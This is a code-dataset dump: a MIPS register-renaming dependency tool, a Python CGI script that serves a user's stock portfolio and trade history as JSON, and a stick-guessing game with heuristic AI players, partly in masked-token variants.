else:\n stop = True\n table_data = [['Given Instructions']]\n i = 1\n for ins in instructions:\n table_data.append([f'S{i} - ' + ins])\n i += 1\n table = AsciiTable(table_data)\n print('Here are the instructions provided:')\n print('\\n' + table.table + '\\n')\n input('Press Enter find any existing false dependencies\\n')\n dependenciesDict = findDependencies(instructions)\n table = AsciiTable(parseDepDictToTableData(dependenciesDict))\n print('\\n' + table.table + '\\n')\n input('\\nPress Enter to begin renaming registers')\n resolvedInstructions = resolveDependencies(instructions, dependenciesDict)\n resolvedInstructionsArr = []\n for key, value in resolvedInstructions.items():\n resolvedInstructionsArr.append(f'{key} - {value}')\n resolvedTableData = [['Resolved Instructions']]\n for ins in resolvedInstructionsArr:\n resolvedTableData.append([ins])\n table = AsciiTable(resolvedTableData)\n print(table.table + '\\n')\n input('Press Enter to continue')\n print('DONE!\\n')\n",
"step-5": "from terminaltables import AsciiTable\nimport copy\n\ntable_data = [\n ['WAR', 'WAW'],\n ['S1 -> S2: R1', 'row1 column2'],\n ['row2 column1', 'row2 column2'],\n ['row3 column1', 'row3 column2']\n]\ntable = AsciiTable(table_data)\n\n\ndef getDependenceStr(ins1, ins2, reg):\n return f\"{ins1} -> {ins2}: {reg}\"\n\n\ndef getInstructionStr(ins, reg1, reg2, reg3):\n return f\"{ins} {reg1} {reg2} {reg3}\"\n\n\ndef getInstructionArr(ins):\n return ins.split(' ')\n\n\ndef validateInput(str):\n if str.strip() == '':\n return True\n\n return len(str.split()) == 4\n\n\ndef getInstructionFromUser(insNum):\n ins = input(f\"S{insNum}: \")\n\n while not validateInput(ins):\n print(\"The value instruction you entered is invalid. Please try again\")\n print(\"Remember the instruction must be in the format:\"\n \"ins Reg1 Reg2 Reg3 \")\n ins = input(f\"S{insNum}: \")\n return ins\n\n\ndef findDependencies(instructions):\n dependencies = {'waw': findWAWs(instructions),\n 'war': findWARs(instructions),\n 'trueDeps': findTrueDependencies(instructions)}\n return dependencies\n\n\ndef findWAWs(instructions):\n waws = {}\n insDict = {}\n i = 1\n\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n\n workingIns = copy.deepcopy(insDict)\n\n for (key, value) in insDict.items():\n insParts = value.split()\n\n del workingIns[key]\n\n for (key2, otherIns) in workingIns.items():\n if insParts[1] == otherIns.split()[1]:\n waws[f'{key} -> {key2}'] = insParts[1]\n break # Find only the first occurance of a waw\n return waws\n\n\ndef findWARs(ins):\n wars = {}\n insDict = {}\n i = 1\n\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n\n workingIns = copy.deepcopy(insDict)\n\n for (key, value) in insDict.items():\n insParts = value.split()\n\n del workingIns[key]\n\n for (key2, otherIns) in workingIns.items():\n if insParts[2] == otherIns.split()[1]:\n wars[f'{key} -> {key2}'] = insParts[2]\n if insParts[3] == otherIns.split()[1]:\n wars[f'{key} -> {key2}'] = insParts[3]\n return wars\n\n\ndef findTrueDependencies(ins):\n trueDeps = {}\n for i in range(len(ins)-1, -1, -1):\n ins1 = ins[i].split()\n for k in range(2, len(ins1), 1):\n checkReg = ins1[k]\n for s in range(i-1, -1, -1):\n ins2 = ins[s].split()\n if checkReg == ins2[1]:\n trueDeps[f'S{s+1} -> S{i+1}'] = checkReg\n break\n return trueDeps\n\n\ndef resolveDependencies(instructions, dependencies):\n waws = dependencies['waw']\n wars = dependencies['war']\n trueDeps = dependencies['trueDeps']\n insDict = {}\n i = 1\n\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n\n tNum = 0\n\n # Resolve WAWs\n for (dependence, reg) in waws.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n\n try:\n # Check true dependence\n trueDepsExist, trueDep = checkTrueDep(dependence, trueDeps, reg)\n if trueDepsExist:\n trueDepParts = trueDep.split()\n ins1 = insDict[trueDepParts[0]].split()\n ins2 = insDict[trueDepParts[2]].split()\n\n ins1ChangeIndex = ins1.index(reg)\n ins2ChangeIndex = [i for i, x in enumerate(ins2) if x == reg]\n\n ins1[ins1ChangeIndex] = f'T{tNum}'\n for index in ins2ChangeIndex:\n if index != 1:\n ins2[index] = f'T{tNum}'\n\n insDict[trueDepParts[0]] = ' '.join(ins1)\n insDict[trueDepParts[2]] = ' '.join(ins2)\n else:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n\n # Resolve WARs\n for (dependence, reg) in wars.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n\n try:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n\n return insDict\n\n\ndef checkTrueDep(falseDep, trueDeps, reg):\n # for waws\n depArr = falseDep.split()\n for (trueDep, reg2) in trueDeps.items():\n trueDepArr = trueDep.split()\n if depArr[0] == trueDepArr[0] and reg == reg2:\n return (True, trueDep)\n return (None, None)\n\n\ndef parseDepDictToTableData(dependenciesDict):\n tableData = [\n ['WAW', 'WAR', 'True']\n ]\n waws = dependenciesDict['waw']\n wars = dependenciesDict['war']\n trueDeps = dependenciesDict['trueDeps']\n\n wawKeys = list(waws.keys())\n warKeys = list(wars.keys())\n trueDepKeys = list(trueDeps.keys())\n\n maxLength = max([len(waws), len(wars), len(trueDeps)])\n for i in range(0, maxLength):\n data = [f'{wawKeys[i]} -> {waws[wawKeys[i]]}'\n if i < len(wawKeys) else '', # Add WAW Dependencies\n\n f'{warKeys[i]} -> {wars[warKeys[i]]}'\n if i < len(warKeys) else '', # Add WAR Dependencies\n\n f'{trueDepKeys[i]} -> {trueDeps[trueDepKeys[i]]}'\n if i < len(trueDepKeys) else ''] # Add True Dependencies\n\n tableData.append(data)\n return tableData\n\n\nif __name__ == '__main__':\n numIns = 0\n maxNumIns = 5\n stop = False\n instructions = []\n\n print(\"Enter up to 5 MIPs instructions below. When you're done simply\"\n \"press enter without typing in any input\")\n print(\"Instructions must be in the format: ins Reg1 Reg2 Reg3\")\n print(\"i.e. add R1 R2 R3\")\n while numIns < maxNumIns and not stop:\n ins = getInstructionFromUser(numIns+1)\n if ins != '':\n instructions.append(ins)\n numIns += 1\n else:\n stop = True\n\n # Genarate the table data need to show instructions given\n table_data = [\n ['Given Instructions'],\n ]\n\n i = 1\n for ins in instructions:\n table_data.append([f'S{i} - ' + ins])\n i += 1\n\n table = AsciiTable(table_data)\n print(\"Here are the instructions provided:\")\n print('\\n' + table.table + '\\n')\n input(\"Press Enter find any existing false dependencies\\n\")\n dependenciesDict = findDependencies(instructions)\n table = AsciiTable(parseDepDictToTableData(dependenciesDict))\n print('\\n' + table.table + '\\n')\n input(\"\\nPress Enter to begin renaming registers\")\n resolvedInstructions = resolveDependencies(instructions, dependenciesDict)\n resolvedInstructionsArr = []\n for (key, value) in resolvedInstructions.items():\n resolvedInstructionsArr.append(f'{key} - {value}')\n resolvedTableData = [\n ['Resolved Instructions']\n ]\n\n for ins in resolvedInstructionsArr:\n resolvedTableData.append([ins])\n table = AsciiTable(resolvedTableData)\n print(table.table + '\\n')\n input('Press Enter to continue')\n print('DONE!\\n')\n",
"step-ids": [
7,
10,
11,
13,
16
]
}
|
[
7,
10,
11,
13,
16
] |
#!/usr/bin/python
import operator
import cgi, sys, LINK_HEADERS
import simplejson as json
from datetime import datetime
from dateutil import tz
from decimal import *
sys.path.insert(0, str(LINK_HEADERS.DAO_LINK))
from transaction_dao import Transaction_dao
from user_portfolio_dao import User_portfolio_dao
from user_stock_value_dao import User_stock_value_dao
from company_dao import Company_dao
from history_dao import History_dao
from sector_info_dao import Sector_info_dao
print "Content-Type: text/html\r\n\r\n"
form = cgi.FieldStorage()
if form.getvalue("username") != None:
username = form.getvalue("username")
if form.getvalue("filter") != None:
portfolio_filter = form.getvalue("filter")
if portfolio_filter == '1':
filter_flag = "ALL"
elif portfolio_filter == '2':
filter_flag = "ALGOS"
elif portfolio_filter == '0':
filter_flag = "USER"
else:
filter_flag = portfolio_filter
tdao = Transaction_dao()
u2 = User_stock_value_dao()
u1 = User_portfolio_dao()
cdao = Company_dao()
hdao = History_dao()
data={}
if filter_flag == "ALL":
t = hdao.select_all(username)
l = tdao.get_user_stock_list(username)
elif filter_flag == "ALGOS":
t = hdao.select_all_algo_trades(username)
l = tdao.get_all_algo_stock_list(username)
elif filter_flag == "USER":
t = hdao.select_all_user_trades(username)
l = tdao.get_only_user_stock_list(username)
else:
t = hdao.select_algo_trades(username, filter_flag)
l = tdao.get_algo_stock_list(username, filter_flag)
# HISTORY
if t:
data['transactions']={}
for i in range(len(t)):
data['transactions'][i]={}
#start date formatting
from_zone = tz.tzutc()
to_zone = tz.tzlocal()
date_time = t[i].get_trans_date()
date_time = date_time.strftime('%Y-%m-%d %H:%M:%S')
date_time = datetime.strptime(date_time, '%Y-%m-%d %H:%M:%S')
date_time = date_time.replace(tzinfo=from_zone)
updated_date_time = date_time.astimezone(to_zone)
updated_date_time = updated_date_time.strftime('%Y-%m-%d %H:%M:%S')
#end date formatting
data['transactions'][i]['trans_date'] = updated_date_time
data['transactions'][i]['trans_type'] = t[i].get_trans_type()
# try:
# data['transactions'][i]['name']=cdao.get_company_model(t[i].get_stock()).get_name()
# except:
# data['transactions'][i]['name']=""
data['transactions'][i]['stock'] = t[i].get_stock()
data['transactions'][i]['price'] = t[i].get_price()
data['transactions'][i]['total_price'] = t[i].get_total_price()
data['transactions'][i]['volume'] = t[i].get_volume()
else:
data['transactions']={}
data['transactions'][0]={}
data['transactions'][0]['trans_date'] = ""
data['transactions'][0]['trans_type'] = ""
data['transactions'][0]['name']=""
data['transactions'][0]['stock'] = ""
data['transactions'][0]['price'] = ""
data['transactions'][0]['total_price'] = ""
data['transactions'][0]['volume'] = ""
# OWNED STOCKS
sector_dao=Sector_info_dao()
data['sector_volume']={}
if l:
data['owned_stocks']={}
#total_stock_value = 0
# for i in range(len(l)):
# c = cdao.get_company_model(l[i])
c = cdao.get_list_of_company_models(l)
if c:
for i in range(len(c)):
try:
o = tdao.get_owned_stock_model(username, c[i].get_symbol(), c[i].get_ask())
except:
continue
data['owned_stocks'][i]={}
data['owned_stocks'][i]['name']=c[i].get_name()
data['owned_stocks'][i]['stock'] = c[i].get_symbol()
data['owned_stocks'][i]['current_shares'] = o.get_volume()
data['owned_stocks'][i]['current_price'] = c[i].get_ask()
data['owned_stocks'][i]['total_worth'] = o.get_total_worth()
data['owned_stocks'][i]['profit'] = o.get_profit()
#total_stock_value = Decimal(total_stock_value) + Decimal(o.get_total_worth())
#--------Code for chart - sector_volume:---
volume=o.get_volume()
symbol=c[i].get_symbol()
try:
sector=sector_dao.get_sector_by_symbol(symbol)
if(sector.strip()==''):sector="Other"
except:
sector="Other"
if(sector not in data['sector_volume']):
data['sector_volume'][sector]=volume;
else:
data['sector_volume'][sector]+=volume;
#----------end of code for chart--------
else:
data['owned_stocks']={}
data['owned_stocks'][0]={}
data['owned_stocks'][0]['name'] =""
data['owned_stocks'][0]['stock'] = ""
data['owned_stocks'][0]['current_shares'] = ""
data['owned_stocks'][0]['current_price'] = ""
data['owned_stocks'][0]['total_worth'] = ""
data['owned_stocks'][0]['profit'] = ""
# PORTFOLIO INFORMATION
#---------------------Code for Chart Generation-----------------------------
sectors=[]
volume=[]
sorted_volume=sorted(data['sector_volume'].items(),key=operator.itemgetter(1))
length=len(sorted_volume);
#Insertion Sort
for i in range(length):
j=i
while(j>0 and sorted_volume[j][1]>sorted_volume[j-1][1]):
temp=sorted_volume[j-1]
sorted_volume[j-1]=sorted_volume[j]
sorted_volume[j]=temp
j=j-1
MAX=35
for i in range(length):
if(i>=MAX):break;
if(sorted_volume[i][0]=='Other'):continue
sectors.append(sorted_volume[i][0])
volume.append(sorted_volume[i][1])
data['chart_axis']=sectors;
data['chart_data']=volume;
#--------------------------------end of code for chart--------------------#
up = u1.get_user_portfolio_model(username)
usv = u2.get_user_stock_value_model(username)
data['users']={}
if up:
data['users']['total_portfolio'] = up.get_total_portfolio()
data['users']['total_deposited'] = up.get_total_deposited()
data['users']['available_funds'] = up.get_available_funds()
else:
data['users']['total_portfolio'] = 0
data['users']['total_deposited'] = 0
data['users']['available_funds'] = 0
if usv:
data['users']['total_stock_values'] = usv.get_total_stock_values()
data['users']['profit'] = usv.get_profit()
else:
data['users']['total_stock_values'] = 0
data['users']['profit'] = 0
#----------------------------------code owned Stocks chart-----------------------------#
owned_stocks=data['owned_stocks']
owned_stocks_graph_data={}
sorted_owned_stocks_chart_axis=[]
sorted_owned_stocks_chart_value=[]
for i in owned_stocks:
owned_stocks_graph_data[owned_stocks[i]['stock']]=owned_stocks[i]['total_worth']
length=len(owned_stocks_graph_data);
sorted_data=sorted(owned_stocks_graph_data.items(),key=operator.itemgetter(1))
for i in range(length-1,-1,-1):
if(length-i>MAX):break
sorted_owned_stocks_chart_axis.append(sorted_data[i][0])
sorted_owned_stocks_chart_value.append(sorted_data[i][1])
data['owned_stocks_chart_axis']=sorted_owned_stocks_chart_axis;
data['owned_stocks_chart_value']=sorted_owned_stocks_chart_value;
json_result = json.dumps(data)
print json_result
|
normal
|
{
"blob_id": "4264cba9a6c39219d21bd21d4b21009bacd1db38",
"index": 61,
"step-1": "#!/usr/bin/python\n\nimport operator\nimport cgi, sys, LINK_HEADERS\nimport simplejson as json\nfrom datetime import datetime\nfrom dateutil import tz\nfrom decimal import *\nsys.path.insert(0, str(LINK_HEADERS.DAO_LINK))\nfrom transaction_dao import Transaction_dao\nfrom user_portfolio_dao import User_portfolio_dao\nfrom user_stock_value_dao import User_stock_value_dao\nfrom company_dao import Company_dao\nfrom history_dao import History_dao\nfrom sector_info_dao import Sector_info_dao\nprint \"Content-Type: text/html\\r\\n\\r\\n\"\n\nform = cgi.FieldStorage()\n\nif form.getvalue(\"username\") != None:\n username = form.getvalue(\"username\")\nif form.getvalue(\"filter\") != None:\n portfolio_filter = form.getvalue(\"filter\")\n\n if portfolio_filter == '1':\n filter_flag = \"ALL\"\n elif portfolio_filter == '2':\n filter_flag = \"ALGOS\"\n elif portfolio_filter == '0':\n filter_flag = \"USER\"\n else:\n filter_flag = portfolio_filter\n \ntdao = Transaction_dao()\nu2 = User_stock_value_dao()\nu1 = User_portfolio_dao()\ncdao = Company_dao()\nhdao = History_dao()\n\ndata={}\n\nif filter_flag == \"ALL\":\n t = hdao.select_all(username)\n l = tdao.get_user_stock_list(username)\nelif filter_flag == \"ALGOS\":\n t = hdao.select_all_algo_trades(username)\n l = tdao.get_all_algo_stock_list(username)\nelif filter_flag == \"USER\":\n t = hdao.select_all_user_trades(username)\n l = tdao.get_only_user_stock_list(username)\nelse:\n t = hdao.select_algo_trades(username, filter_flag)\n l = tdao.get_algo_stock_list(username, filter_flag)\n\n\n# HISTORY\nif t:\n data['transactions']={}\n \n for i in range(len(t)):\n data['transactions'][i]={}\n\t\n\t #start date formatting\n from_zone = tz.tzutc()\n to_zone = tz.tzlocal()\n date_time = t[i].get_trans_date()\n date_time = date_time.strftime('%Y-%m-%d %H:%M:%S')\n date_time = datetime.strptime(date_time, '%Y-%m-%d %H:%M:%S')\t\n date_time = date_time.replace(tzinfo=from_zone)\n updated_date_time = date_time.astimezone(to_zone)\n updated_date_time = updated_date_time.strftime('%Y-%m-%d %H:%M:%S')\n\t #end date formatting\t\n\n data['transactions'][i]['trans_date'] = updated_date_time\n data['transactions'][i]['trans_type'] = t[i].get_trans_type()\n\n# try:\n# data['transactions'][i]['name']=cdao.get_company_model(t[i].get_stock()).get_name()\n# except:\n# data['transactions'][i]['name']=\"\"\n \n data['transactions'][i]['stock'] = t[i].get_stock()\n data['transactions'][i]['price'] = t[i].get_price()\n data['transactions'][i]['total_price'] = t[i].get_total_price()\n data['transactions'][i]['volume'] = t[i].get_volume()\nelse:\n data['transactions']={}\n data['transactions'][0]={}\n data['transactions'][0]['trans_date'] = \"\"\n data['transactions'][0]['trans_type'] = \"\"\n data['transactions'][0]['name']=\"\"\n data['transactions'][0]['stock'] = \"\"\n data['transactions'][0]['price'] = \"\"\n data['transactions'][0]['total_price'] = \"\"\n data['transactions'][0]['volume'] = \"\"\n \n\n\n# OWNED STOCKS\nsector_dao=Sector_info_dao()\ndata['sector_volume']={}\nif l:\n \n data['owned_stocks']={}\n #total_stock_value = 0\n \n# for i in range(len(l)):\n# c = cdao.get_company_model(l[i])\n \n c = cdao.get_list_of_company_models(l)\n if c:\n for i in range(len(c)):\n try:\n o = tdao.get_owned_stock_model(username, c[i].get_symbol(), c[i].get_ask()) \n except:\n continue\n \n data['owned_stocks'][i]={}\n data['owned_stocks'][i]['name']=c[i].get_name()\n data['owned_stocks'][i]['stock'] = c[i].get_symbol()\n data['owned_stocks'][i]['current_shares'] = o.get_volume()\n data['owned_stocks'][i]['current_price'] = c[i].get_ask()\n data['owned_stocks'][i]['total_worth'] = o.get_total_worth()\n data['owned_stocks'][i]['profit'] = o.get_profit()\n #total_stock_value = Decimal(total_stock_value) + Decimal(o.get_total_worth())\n\n #--------Code for chart - sector_volume:---\n volume=o.get_volume()\n symbol=c[i].get_symbol()\n try:\n sector=sector_dao.get_sector_by_symbol(symbol)\n if(sector.strip()==''):sector=\"Other\"\n except:\n sector=\"Other\"\n\n if(sector not in data['sector_volume']):\n data['sector_volume'][sector]=volume;\n else:\n data['sector_volume'][sector]+=volume;\n #----------end of code for chart--------\n \nelse:\n data['owned_stocks']={}\n data['owned_stocks'][0]={}\n data['owned_stocks'][0]['name'] =\"\"\n data['owned_stocks'][0]['stock'] = \"\"\n data['owned_stocks'][0]['current_shares'] = \"\"\n data['owned_stocks'][0]['current_price'] = \"\"\n data['owned_stocks'][0]['total_worth'] = \"\"\n data['owned_stocks'][0]['profit'] = \"\"\n\n# PORTFOLIO INFORMATION\n#---------------------Code for Chart Generation-----------------------------\nsectors=[]\nvolume=[]\n\nsorted_volume=sorted(data['sector_volume'].items(),key=operator.itemgetter(1))\nlength=len(sorted_volume);\n\n#Insertion Sort\nfor i in range(length):\n j=i\n while(j>0 and sorted_volume[j][1]>sorted_volume[j-1][1]):\n temp=sorted_volume[j-1]\n sorted_volume[j-1]=sorted_volume[j]\n sorted_volume[j]=temp\n j=j-1\n\nMAX=35\nfor i in range(length):\n if(i>=MAX):break;\n if(sorted_volume[i][0]=='Other'):continue\n sectors.append(sorted_volume[i][0])\n volume.append(sorted_volume[i][1])\n\n\ndata['chart_axis']=sectors;\ndata['chart_data']=volume;\n#--------------------------------end of code for chart--------------------#\n\nup = u1.get_user_portfolio_model(username)\nusv = u2.get_user_stock_value_model(username)\ndata['users']={}\n\nif up:\n data['users']['total_portfolio'] = up.get_total_portfolio()\n data['users']['total_deposited'] = up.get_total_deposited()\n data['users']['available_funds'] = up.get_available_funds()\nelse:\n data['users']['total_portfolio'] = 0\n data['users']['total_deposited'] = 0\n data['users']['available_funds'] = 0 \n\nif usv:\n data['users']['total_stock_values'] = usv.get_total_stock_values()\n data['users']['profit'] = usv.get_profit() \nelse:\n data['users']['total_stock_values'] = 0\n data['users']['profit'] = 0\n \n\n\n\n\n#----------------------------------code owned Stocks chart-----------------------------#\n\nowned_stocks=data['owned_stocks']\nowned_stocks_graph_data={}\n\nsorted_owned_stocks_chart_axis=[]\nsorted_owned_stocks_chart_value=[]\n\nfor i in owned_stocks:\n owned_stocks_graph_data[owned_stocks[i]['stock']]=owned_stocks[i]['total_worth']\n\nlength=len(owned_stocks_graph_data);\nsorted_data=sorted(owned_stocks_graph_data.items(),key=operator.itemgetter(1))\n\n\nfor i in range(length-1,-1,-1):\n if(length-i>MAX):break\n sorted_owned_stocks_chart_axis.append(sorted_data[i][0])\n sorted_owned_stocks_chart_value.append(sorted_data[i][1])\n\ndata['owned_stocks_chart_axis']=sorted_owned_stocks_chart_axis;\ndata['owned_stocks_chart_value']=sorted_owned_stocks_chart_value;\n\njson_result = json.dumps(data)\nprint json_result\n\n \n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from random import randint
class Game(object):
def __init__(self, players):
if len(players) < 2:
raise ValueError('Number of player must be at least 2')
self.play_order = players
self.player_data = {}
for player in self.play_order:
# [total, on_hand, hunch]
self.player_data[player] = [3, None, None, False]
self.player_data['IA 1'][3] = True
self.player_data['IA 2'][3] = True
def game_loop(self):
while not self.won():
hunches = []
for player, data in self.player_data.items():
print("Jogador: {}".format(player))
if (data[3]):
data[1] = randint(0, data[0])
else:
data[1] = randint(0, data[0])
print("Palitos na mão: {}\n".format(data[1]))
for player in self.play_order:
print("Jogador: {}".format(player))
if (self.player_data[player][3]):
hunch = self.hunch(player, hunches)
self.player_data[player][2] = hunch
else:
# random hunch
hunch = randint(0, self.max())
while hunch in hunches:
hunch = randint(0, self.max())
self.player_data[player][2] = hunch
# human hunch
# hunch = int(input("Qual seu palpite?\n"))
# while (hunch in hunches):
# hunch = int(input("Palpite invalido. \nQual seu palpite?\n"))
# self.player_data[player][2] = hunch
print("Palpite: {}\n".format(hunch))
hunches.append(hunch)
winner = self.round_won()
print("Soma dos palitos: {}".format(self.sum()))
if winner:
print("{} ganhou a rodada\n".format(winner))
self.player_data[winner][0] -= 1
self.play_order.remove(winner)
self.play_order.insert(0, winner)
else:
print("Ninguém ganhou :(\n")
print(("-" * 10) + " nova rodada " + ("-" * 10))
self.reset()
for player, data in self.player_data.items():
if data[0] == 0:
print("{} ganhou o jogo".format(player))
return player
def hunch(self, player, hunches):
# seu palpite inicial eh pelo menos a sua quantidade de palitos
hunch = self.player_data[player][1]
rand = 0
sticks = []
stik = 0
# calcula os palitos dos jogadores anteriores atraves dos palpites destes
for other_player in self.play_order[0:self.play_order.index(player)]:
# media dos proximos jogadores
average = self.average(self.play_order[self.play_order.index(other_player):len(self.play_order) - 1])
# calcula os palitos estimados do jogador
stik = self.player_data[other_player][2] - average[0]
# remove os palitos anteriores que ja estao considerados
for stick in sticks:
stik -= stick
sticks.append(stik)
# erros de arredondamento, adiciona a randomicidade esperada
rand += average[1]
hunch += stik
# chama average com os jogadores remanescente
average = self.average(self.play_order[self.play_order.index(player):len(self.play_order) - 1])
# caso o numero seja quebrado (0.5) adiciona-se 1 a randomicidade
rand += average[1]
# valor estimado, com metade da randomicidade
hunch += average[0] + rand // 2
# caso o chute ja tenha sido usado, chutar o mais proximo possivel
# começando pelo lado mais proximo da media
if (self.average(self.play_order)[0] > hunch):
i = 0
while (hunch in hunches) or (hunch > self.max()) or (hunch < 0):
i += 1
if i % 2 == 0:
hunch -= i
else:
hunch += i
else:
i = 0
while (hunch in hunches) or (hunch > self.max()) or (hunch < 0):
i += 1
if i % 2 == 0:
hunch += i
else:
hunch -= i
# retorna seu chute
return hunch
def average(self, remaining_players):
result = 0
for player in remaining_players:
result += self.player_data[player][0]
# entrega a media do resultado, e se houve sobra entrega 1 no segundo argumento
return [result // 2, result % 2]
def max(self):
total = 0
for player in self.play_order:
total += self.player_data[player][0]
return total
def reset(self):
for player, data in self.player_data.items():
data[1] = None
data[2] = None
def round_won(self):
sum = self.sum()
for player, data in self.player_data.items():
if data[2] == sum:
return player
return None
def won(self):
for player, data in self.player_data.items():
if data[0] == 0:
return True
return False
def sum(self):
sum = 0
for player, data in self.player_data.items():
sum += data[1]
return sum
if __name__ == '__main__':
players = ['Rand A', 'Rand B', 'Rand C', 'IA 1', 'IA 2']
wins = {}
n = 1
for player in players:
wins[player] = 0
for i in range(0, n):
game = Game(players)
winner = game.game_loop()
if winner:
wins[winner] += 1
print("\nRelatório:")
for player, win_count in wins.items():
print("{} ganhou {} vezes".format(player, win_count))
|
normal
|
{
"blob_id": "52f3000514fd39083daa6316d551f1685c7cea23",
"index": 6792,
"step-1": "<mask token>\n\n\nclass Game(object):\n <mask token>\n\n def game_loop(self):\n while not self.won():\n hunches = []\n for player, data in self.player_data.items():\n print('Jogador: {}'.format(player))\n if data[3]:\n data[1] = randint(0, data[0])\n else:\n data[1] = randint(0, data[0])\n print('Palitos na mão: {}\\n'.format(data[1]))\n for player in self.play_order:\n print('Jogador: {}'.format(player))\n if self.player_data[player][3]:\n hunch = self.hunch(player, hunches)\n self.player_data[player][2] = hunch\n else:\n hunch = randint(0, self.max())\n while hunch in hunches:\n hunch = randint(0, self.max())\n self.player_data[player][2] = hunch\n print('Palpite: {}\\n'.format(hunch))\n hunches.append(hunch)\n winner = self.round_won()\n print('Soma dos palitos: {}'.format(self.sum()))\n if winner:\n print('{} ganhou a rodada\\n'.format(winner))\n self.player_data[winner][0] -= 1\n self.play_order.remove(winner)\n self.play_order.insert(0, winner)\n else:\n print('Ninguém ganhou :(\\n')\n print('-' * 10 + ' nova rodada ' + '-' * 10)\n self.reset()\n for player, data in self.player_data.items():\n if data[0] == 0:\n print('{} ganhou o jogo'.format(player))\n return player\n <mask token>\n\n def average(self, remaining_players):\n result = 0\n for player in remaining_players:\n result += self.player_data[player][0]\n return [result // 2, result % 2]\n\n def max(self):\n total = 0\n for player in self.play_order:\n total += self.player_data[player][0]\n return total\n\n def reset(self):\n for player, data in self.player_data.items():\n data[1] = None\n data[2] = None\n\n def round_won(self):\n sum = self.sum()\n for player, data in self.player_data.items():\n if data[2] == sum:\n return player\n return None\n\n def won(self):\n for player, data in self.player_data.items():\n if data[0] == 0:\n return True\n return False\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Game(object):\n\n def __init__(self, players):\n if len(players) < 2:\n raise ValueError('Number of player must be at least 2')\n self.play_order = players\n self.player_data = {}\n for player in self.play_order:\n self.player_data[player] = [3, None, None, False]\n self.player_data['IA 1'][3] = True\n self.player_data['IA 2'][3] = True\n\n def game_loop(self):\n while not self.won():\n hunches = []\n for player, data in self.player_data.items():\n print('Jogador: {}'.format(player))\n if data[3]:\n data[1] = randint(0, data[0])\n else:\n data[1] = randint(0, data[0])\n print('Palitos na mão: {}\\n'.format(data[1]))\n for player in self.play_order:\n print('Jogador: {}'.format(player))\n if self.player_data[player][3]:\n hunch = self.hunch(player, hunches)\n self.player_data[player][2] = hunch\n else:\n hunch = randint(0, self.max())\n while hunch in hunches:\n hunch = randint(0, self.max())\n self.player_data[player][2] = hunch\n print('Palpite: {}\\n'.format(hunch))\n hunches.append(hunch)\n winner = self.round_won()\n print('Soma dos palitos: {}'.format(self.sum()))\n if winner:\n print('{} ganhou a rodada\\n'.format(winner))\n self.player_data[winner][0] -= 1\n self.play_order.remove(winner)\n self.play_order.insert(0, winner)\n else:\n print('Ninguém ganhou :(\\n')\n print('-' * 10 + ' nova rodada ' + '-' * 10)\n self.reset()\n for player, data in self.player_data.items():\n if data[0] == 0:\n print('{} ganhou o jogo'.format(player))\n return player\n\n def hunch(self, player, hunches):\n hunch = self.player_data[player][1]\n rand = 0\n sticks = []\n stik = 0\n for other_player in self.play_order[0:self.play_order.index(player)]:\n average = self.average(self.play_order[self.play_order.index(\n other_player):len(self.play_order) - 1])\n stik = self.player_data[other_player][2] - average[0]\n for stick in sticks:\n stik -= stick\n sticks.append(stik)\n rand += average[1]\n hunch += stik\n average = self.average(self.play_order[self.play_order.index(player\n ):len(self.play_order) - 1])\n rand += average[1]\n hunch += average[0] + rand // 2\n if self.average(self.play_order)[0] > hunch:\n i = 0\n while hunch in hunches or hunch > self.max() or hunch < 0:\n i += 1\n if i % 2 == 0:\n hunch -= i\n else:\n hunch += i\n else:\n i = 0\n while hunch in hunches or hunch > self.max() or hunch < 0:\n i += 1\n if i % 2 == 0:\n hunch += i\n else:\n hunch -= i\n return hunch\n\n def average(self, remaining_players):\n result = 0\n for player in remaining_players:\n result += self.player_data[player][0]\n return [result // 2, result % 2]\n\n def max(self):\n total = 0\n for player in self.play_order:\n total += self.player_data[player][0]\n return total\n\n def reset(self):\n for player, data in self.player_data.items():\n data[1] = None\n data[2] = None\n\n def round_won(self):\n sum = self.sum()\n for player, data in self.player_data.items():\n if data[2] == sum:\n return player\n return None\n\n def won(self):\n for player, data in self.player_data.items():\n if data[0] == 0:\n return True\n return False\n\n def sum(self):\n sum = 0\n for player, data in self.player_data.items():\n sum += data[1]\n return sum\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass Game(object):\n\n def __init__(self, players):\n if len(players) < 2:\n raise ValueError('Number of player must be at least 2')\n self.play_order = players\n self.player_data = {}\n for player in self.play_order:\n self.player_data[player] = [3, None, None, False]\n self.player_data['IA 1'][3] = True\n self.player_data['IA 2'][3] = True\n\n def game_loop(self):\n while not self.won():\n hunches = []\n for player, data in self.player_data.items():\n print('Jogador: {}'.format(player))\n if data[3]:\n data[1] = randint(0, data[0])\n else:\n data[1] = randint(0, data[0])\n print('Palitos na mão: {}\\n'.format(data[1]))\n for player in self.play_order:\n print('Jogador: {}'.format(player))\n if self.player_data[player][3]:\n hunch = self.hunch(player, hunches)\n self.player_data[player][2] = hunch\n else:\n hunch = randint(0, self.max())\n while hunch in hunches:\n hunch = randint(0, self.max())\n self.player_data[player][2] = hunch\n print('Palpite: {}\\n'.format(hunch))\n hunches.append(hunch)\n winner = self.round_won()\n print('Soma dos palitos: {}'.format(self.sum()))\n if winner:\n print('{} ganhou a rodada\\n'.format(winner))\n self.player_data[winner][0] -= 1\n self.play_order.remove(winner)\n self.play_order.insert(0, winner)\n else:\n print('Ninguém ganhou :(\\n')\n print('-' * 10 + ' nova rodada ' + '-' * 10)\n self.reset()\n for player, data in self.player_data.items():\n if data[0] == 0:\n print('{} ganhou o jogo'.format(player))\n return player\n\n def hunch(self, player, hunches):\n hunch = self.player_data[player][1]\n rand = 0\n sticks = []\n stik = 0\n for other_player in self.play_order[0:self.play_order.index(player)]:\n average = self.average(self.play_order[self.play_order.index(\n other_player):len(self.play_order) - 1])\n stik 